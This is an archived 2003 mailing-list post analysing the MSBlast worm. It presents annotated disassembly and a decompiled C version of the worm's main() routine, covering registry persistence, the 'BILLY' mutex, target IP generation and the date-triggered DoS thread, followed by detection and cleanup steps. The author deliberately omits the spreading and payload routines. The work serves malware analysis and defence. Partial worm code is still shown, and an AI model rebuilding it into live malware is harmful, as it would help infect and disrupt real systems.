TUCoPS :: Malware :: bt882.txt

Analysis/decompilation of main() of the msblast worm


------=_NextPart_000_001B_01C362B5.98ACA600
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Here's a little analysis of the msblast worm.

------=_NextPart_000_001B_01C362B5.98ACA600
Content-Type: text/plain;
	name="msblast_analysis.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="msblast_analysis.txt"

Decompilation of the RPC blaster.worm main() routine=20
and short description/analysis by Dennis Elser.


TABLE OF CONTENTS:

I. Introduction
II. Description
III. Commented Disassembly
IV. Analysis/Decompilation
V. How to detect and clean an infected system, prevent re-infection




I. Introduction
---------------

Thanks to Datarescue (www.datarescue.com) for the Interactive =
DisAssembler
(IDA Pro) which made this analysis quite comfortable.
The integrated debugger came in very handy to verify the analysis ;)

Please bare with me, english is not my native language, I am not a =
professional
but a hobbyist, this document and the analysis were done in my spare =
time for fun
and it was not veryfied by anyone so it may contain quite some errata ;)

About the analysis:
I began to analyze the main() routine but I've left out
two important routines due to two reasons:

1. I don't want anyone to recompile this and create new variants.
2. Rolf Rolles beat me to it - too bad we haven't met earlier ;)

So spreadworm() and payload() have been left out. Their functionality =
will be described later.


II. Description
---------------

The worm creates a new registry key in =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
called "windows auto update" with the value "msblast.exe".
This will make sure that the worm will be run after each reboot.
Next, it creates a Mutex called "BILLY", followed by a call to =
GetLastError().
If the errorcode returned by GetLastError() is 0xb7 ("Cannot create a =
file
when that file already exists.") the worm will make a call to =
ExitProcess() to
prevent the system from running multiple instances of the worm.
Otherwise it will continue and call WSAStartup() to initiate windows =
sockets,
GetModuleFileName(), which is needed for the tftp transfer to other =
vulnerable boxes (thanks Rolf)
and loop until the OS is connected to the Internet (using =
InternetGetConnectedState()).
The worm will then create random ip addresses and retreive the local ip =
address of the OS in order
to infect the local area network and computers on the internet (Please =
have a look at the analysis).
Every year starting on August the 16th to December the 31st the =
payload() routine will be started.
>From what I have checked so far it will send packets to =
windowsupdate.com in order to DoS it.
After that it will spread itself to vulnerable boxes on the internet =
(using the randomly generated
IP addresses) and to the local area network.

As mentioned above spreadworm() and payload() have not been analyzed any =
further.
spreadworm() will listen on specific ports for incoming connections, =
spread itself et cetera.
payload() will DoS windowsupdate.com on a specific date.

Please refer to Rolf Rolles' analysis for a more detailed analysis.

III. Commented Disassembly
-------------------------

main		proc near		; CODE XREF: mainwrapper+5C=19p

in		=3D in_addr ptr -3ACh
temp_ip_buf	=3D dword	ptr -3A8h
hostent		=3D dword	ptr -3A4h
local_ip_address=3D byte ptr -3A0h
WSAData		=3D WSAData ptr -1A0h
month		=3D dword	ptr -10h
day_of_month	=3D byte ptr -0Ch
hKey		=3D dword	ptr -8
ThreadId	=3D dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3ACh
		push	esi
		push	edi
		xor	esi, esi
		push	0		; lpdwDisposition
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	offset aSoftwareMicros ; create/open regkey:
					; SOFTWARE\Microsoft\Windows\CurrentVersion\Run
		push	80000002h	; hKey
		call	RegCreateKeyExA
		push	32h		; cbData
		push	offset aMsblast_exe ; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aWindowsAutoUpd ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExA	; create a subkey/string "windows auto update" =
with the	value "msblast.exe"
					; this will make sure the worm will be run after windows has been =
booted
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; close	regkey
		push	offset aBilly	; lpName
		push	1		; bInitialOwner
		push	0		; lpMutexAttributes
		call	CreateMutexA	; create "Billy" Mutex
		call	GetLastError	; check	for error.
		cmp	eax, 0B7h	; 0xb7 =3D Cannot	create a file when that	file already =
exists.
		jnz	short FirstInstance ; if the mutex couldn't be created, then there
					; already is running an	instance of the	worm.
					; if this is the case: ExitProcess
		push	0		; uExitCode
		call	ExitProcess

FirstInstance:				; CODE XREF: main+67=18j
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	WSAStartup	; call WSAStartup / version 2.02
		or	eax, eax
		jz	short WSAStartupSuccess	; if successful, branch	to =
WSAStartupSuccess
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	101h		; wVersionRequested
		call	WSAStartup	; call WSAStartup / version 1.01
		or	eax, eax
		jz	short WSAStartupSuccess	; if successful, branch	to =
WSAStartupSuccess
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	1		; wVersionRequested
		call	WSAStartup	; call WSAStartup / v1.0 ?
		or	eax, eax
		jz	short WSAStartupSuccess	; if successful, branch	to =
WSAStartupSuccess
		or	eax, 0FFFFFFFFh
		jmp	WS_Error
; =
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=


WSAStartupSuccess:			; CODE XREF: main+83=18j main+98=18j ...
		push	104h		; nSize
		push	offset Filename	; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA ; get module's name into a buffer (should be =
msblast.exe)

delay_no_inet:				; CODE XREF: main+DE=19j
		push	0
		lea	eax, [ebp+ThreadId]
		push	eax
		call	InternetGetConnectedState ; is the victim connected to the =
internet ?
		or	eax, eax
		jnz	short connected
		push	4E20h		; dwMilliseconds
		call	Sleep		; Sleep	20 seconds
		jmp	short delay_no_inet
; =
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=


connected:				; CODE XREF: main+D2=18j
		and	ds:i_ip_D, 0
		call	GetTickCount	; get value from tickcount
		push	eax
		call	srand		; random starting point
		pop	ecx
		call	rand		; get random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide random	value by 0xFE
		mov	edi, edx	; edi =3D	edx =3D remainder
		inc	edi		; remainder++
		mov	ds:randomip_A, edi
		call	rand		; get another random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide random	value by 0xFE
		mov	ds:randomip_B, edx ; store remainder
		push	200h		; namelen
		lea	eax, [ebp+local_ip_address]
		push	eax		; name
		call	gethostname	; get hostname for local machine
		cmp	eax, 0FFFFFFFFh	; SOCKET_ERROR ?
		jz	SOCKET_ERROR
		lea	eax, [ebp+local_ip_address]
		push	eax		; name
		call	gethostbyname	; retreive hostent structure
		mov	[ebp+hostent], eax
		or	eax, eax
		jz	SOCKET_ERROR
		mov	ecx, [eax+0Ch]	; ecx =3D	hostent.hlength
		cmp	dword ptr [ecx], 0 ; if	(hostent.hlength =3D=3D 0) goto =
SOCKET_ERROR
		jz	SOCKET_ERROR
		push	4
		mov	eax, [eax+0Ch]	; get hostent.hlength
		push	dword ptr [eax]	; source buffer	(hostent)
		lea	eax, [ebp+in]
		push	eax		; destination buffer
		call	memcpy		; copy hostent structure
		push	dword ptr [ebp+in.S_un]	; in
		call	inet_ntoa	; get dotted format
		push	eax
		push	offset aS	; "%s"
		lea	edi, [ebp+local_ip_address]
		push	edi
		call	sprintf		; store	ip address in string format
		push	offset dot
		lea	eax, [ebp+local_ip_address]
		push	eax
		call	strtok		; find first '.' / dot in local ip address string
					; assume we have the following ip address:
					; 127.0.0.1
					; eax will hold	a pointer to "127\0" after the call to strtok
		mov	[ebp+temp_ip_buf], eax
		push	eax
		call	atoi		; convert string to integer
		mov	ds:i_ip_A, eax
		push	offset dot
		push	0
		call	strtok		; find next '.' / dot in local ip address string
		mov	[ebp+temp_ip_buf], eax
		push	eax
		call	atoi		; convert next delimiter of ip address
		mov	ds:i_ip_B, eax
		push	offset dot
		push	0
		call	strtok		; find next '.' / dot in local ip address string
		mov	[ebp+temp_ip_buf], eax
		push	eax
		call	atoi		; convert next delimiter of ip address
		add	esp, 3Ch	; correct stack
		mov	ds:i_ip_C, eax
		cmp	eax, 14h	; i_ip_c <=3D 0x14 ?
		jle	short ip_c_lower_0x15
		call	GetTickCount	; randomize timer / get	random value
		push	eax
		call	srand
		pop	ecx
		call	rand
		mov	ecx, 14h
		cdq
		idiv	ecx		; divide random	value by 0x14
		sub	ds:i_ip_C, edx	; subtract remainder of	division from i_ip_c

ip_c_lower_0x15:			; CODE XREF: main+1EE=18j
		mov	eax, ds:i_ip_A
		mov	ds:randomip_A, eax
		mov	eax, ds:i_ip_B
		mov	ds:randomip_B, eax
		xor	esi, esi
		inc	esi		; esi =3D	1

SOCKET_ERROR:				; CODE XREF: main+130=18j	main+14A=18j ...
		call	GetTickCount	; randomize timer / get	random number
		push	eax
		call	srand
		pop	ecx
		call	rand
		mov	ecx, 14h
		cdq
		idiv	ecx		; divide random	number by 0x14
		cmp	edx, 0Ch
		jge	short loc_401496 ; is remainder	>=3D 0xC ?
		xor	esi, esi	; if not, esi =3D	0

loc_401496:				; CODE XREF: main+242=18j
		mov	ds:i_ip_D_?, 1
		call	rand		; get random value
		mov	ecx, 0Ah
		cdq
		idiv	ecx		; divide random	value by 0xA
		cmp	edx, 7
		jle	short generate_random_ip ; remainder <=3D	7 ?
		mov	ds:i_ip_D_?, 2

generate_random_ip:			; CODE XREF: main+260=18j
		or	esi, esi
		jnz	short get_date	; if esi !=3D 0 goto get_date
		call	rand		; get another random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide by 0xFE
		mov	edi, edx
		inc	edi
		mov	ds:i_ip_A, edi	; i_ip_A =3D remainder +1
		call	rand		; get random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide by 0xFE
		mov	ds:i_ip_B, edx	; i_ip_B =3D remainder
		call	rand		; get random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide by 0xFE
		mov	ds:i_ip_C, edx	; i_ip_C =3D remainder

get_date:				; CODE XREF: main+26E=18j
		push	3		; cchDate
		lea	eax, [ebp+day_of_month]
		push	eax		; lpDateStr
		push	offset dateformat_d ; Day of month as digits with no leading zero =
for single-digit days
		push	0		; lpDate
		push	0		; dwFlags
		push	409h		; Locale
		call	GetDateFormatA	; get day of month
		push	3		; cchDate
		lea	eax, [ebp+month]
		push	eax		; lpDateStr
		push	offset dateformat_M ; Month as digits with no leading zero for =
single-digit months.
		push	0		; lpDate
		push	0		; dwFlags
		push	409h		; Locale
		call	GetDateFormatA
		lea	eax, [ebp+day_of_month]
		push	eax
		call	atoi		; convert daystring to integer
		pop	ecx
		cmp	eax, 15
		jg	short payload	; if it	is the 16th day	of a month
					; or above, start payload
		lea	edi, [ebp+month]
		push	edi
		call	atoi		; convert monthstring to integer
		pop	ecx
		cmp	eax, 8		; else if month	=3D September, October, November,	=
December,
					; start	payload
		jle	short loc_401562

payload:				; CODE XREF: main+2EB=18j
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset payload?	; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread

loc_401562:				; CODE XREF: main+2FA=18j	main+317=19j
		call	spreadworm
		jmp	short loc_401562
; =
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=

		call	WSACleanup	; clean	up...
		xor	eax, eax

WS_Error:				; CODE XREF: main+AF=18j
		pop	edi
		pop	esi
		leave
		retn	10h
main		endp

IV. Analysis
-------------

// global variables
char Filename[SOME_CONST];
DWORD i_ip_A;
DWORD i_ip_B;
DWORD i_ip_C;
DWORD i_ip_D;

DWORD i_ip_D_?;

// left out
void spreadworm()
{
}

// left out
SEC_THREAD_START paylod()
{
}

// main
int main()
{

	in_addr in;
	DWORD temp_ip_buf;
	hostent _hostent;
	char local_ip_address[0x200];
	LPWSADATA WSAData;
	char month[3];
	char day_of_month[3];
	HKEY hKey;
	DWORD ThreadId;
	bool status;

	// Create/open registry key
	RegCreateKeyExA(0x80000002, =
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, =
0, & hKey, 0);
	// Put key "windows auto update", value =3D "msblast.exe"
	RegSetValueExA(hKey, "windows auto update", 0, 1, "msblast.exe", 0x32);
	// Close registry
	RegCloseKey(hKey);
	// check for a running instance of the worm
	CreateMutexA(0, 1, "BILLY");
	if (GetLastError() =3D=3D 0xb7) ExitProcess(0); // exit

	// winsock
	if  ((WSAStartup(0x202, & WSAData) !=3D 0) || (WSAStartup(0x101, & =
WSAData) !=3D 0) \
		|| (WSAStartup(0x001, & WSAData) !=3D 0)) return -1;

	// get driver:\path\filename (for example =
c:\winnt\system32\msblast.exe)
	// needed for tftp to locate the file for redistribution (thanks again =
Rolf)
	GetModuleFileNameA(0, &Filename, 0x104);

	// idle until a connection to the internet is detected
	while (InternetGetConnectedState(& ThreadId, 0) =3D=3D 0) =
Sleep(0x4e20);

	// generate random ip address
	i_ip_D =3D 0;
	srand(GetTickCount());
	randomip_A =3D rand() % 0xFE;
	randomip_A++;
	randomip_B =3D rand() % 0xFE;

	// get local ip address
	if (gethostname(& local_ip_address, 0x200) !=3D ffffffff)
	{
		_hostent =3D gethostbyname(& local_ip_address);
		if (_hostent !=3D 0)
		{
			if (_hostent.hlength !=3D 0)
			{
				memcpy( &in, &_hostent.hlength, 4);
				sprintf(&local_ip_address, "%s", inet_ntoa(in.S_un));
				temp_ip_buf =3D strtok(&local_ip_address, ".");
				// split single parts of ip address into A.B.C.(D)
				i_ip_A =3D atoi(temp_ip_buf);
				temp_ip_buf =3D strtok(0, ".");
				i_ip_B =3D atoi(temp_ip_buf);
				temp_ip_buf =3D strtok(0, ".");
				i_ip_C =3D atoi(temp_ip_buf);
			=09
				// randomize x.x.C.x if C > 0x14
				if (i_ip_C > 0x14)
				{
					srand(GetTickCount());
					i_ip_C -=3D rand() % 0x14;
				}
				randomip_A =3D i_ip_A;
				randomip_B =3D i_ip_B;
				status =3D true;
			}
		}
	}
	srand(GetTickCount());
	if ((rand() % 0x14) < 12) status =3D 0;
	i_ip_D_? =3D 1;
	if ((rand % 0xA) > 7) i_ip_D_? =3D 2;

	if (status =3D=3D 0)
	{
		i_ip_A =3D rand() % 0xFE;
		i_ip_A++;
		i_ip_B =3D rand() % 0xFE;
		i_ip_C =3D rand() % 0xFE;
	}
	// get date
	GetDateFormatA(0x409, 0, 0, &"d", &day_of_month, 3);
	GetDateFormatA(0x409, 0, 0, &"M", &month, 3);

	// start payload on 16th august until 31st december
	if ( (atoi(& day_of_month) > 15) || (atoi(& month) >=3D 8) )
		CreateThread(0, 0, payload, 0, 0, &ThreadId);

	// start spreading the worm all over the windoze-world
	while (1) spreadworm();
=09
	// is that a joke ? it will never be executed ;)
	WSACleanup();
	return 0;
}

V. How to detect and clean an infected system, prevent re-infection
-------------------------------------------------------------------

a.) detection
-------------
The three most suspicious indicators for a system infected by the =
msblast.worm are
- a file called msblast.exe in your windows\system32\ folder
- a running process called msblast.exe
- the registry entry "windows auto update" containing the string =
"msblast.exe" in
	"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
=09
Some minor indicators are
- (high) outbound traffic on port 69, 135 et cetera.
- the mutex "BILLY" (write a little application which creates a mutex =
called "BILLY" just
	like the worm does. Call GetLastError() immediately after having =
created the mutex.
	if the returncode is 0xb7 then the mutex already exists which is an =
indicator for the worm.
- probably a lot more ;)

b.) cleaning a system
---------------------
1. Kill the process msblast.exe using window's taskmanager or =
tasklist/taskkill.
2. remove the registry key "windows auto update".
3. remove the executable msblast.exe from your windows\system32\ =
directory.

c.) preventing re-infection
---------------------------
1. Configure your firewall to block port 135 (and others the worm uses).
2. update your windows installation (windowsupdate.com).
3. write a little application which creates a "BILLY" mutex. This will =
not prevent
	your system to be infected but the worm will not spread any further and =
will not
	run any harmful routines as it exits when it detects an existing =
"BILLY" mutex.
=09
=09
--
Please have a look at Rolf Rolles' complete analysis (he should have =
posted it to bugtraq).
Check www.datarescue.com for the best disassembler around.

Hello's to my "collegues" ;) you know who you are :)

"I can not be held responsible for any damages this document may cause" =
;)

--

Dennis Elser
Student of the Ruhr-Universit=E4t-Bochum
Information Technology Security
Germany
------=_NextPart_000_001B_01C362B5.98ACA600--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH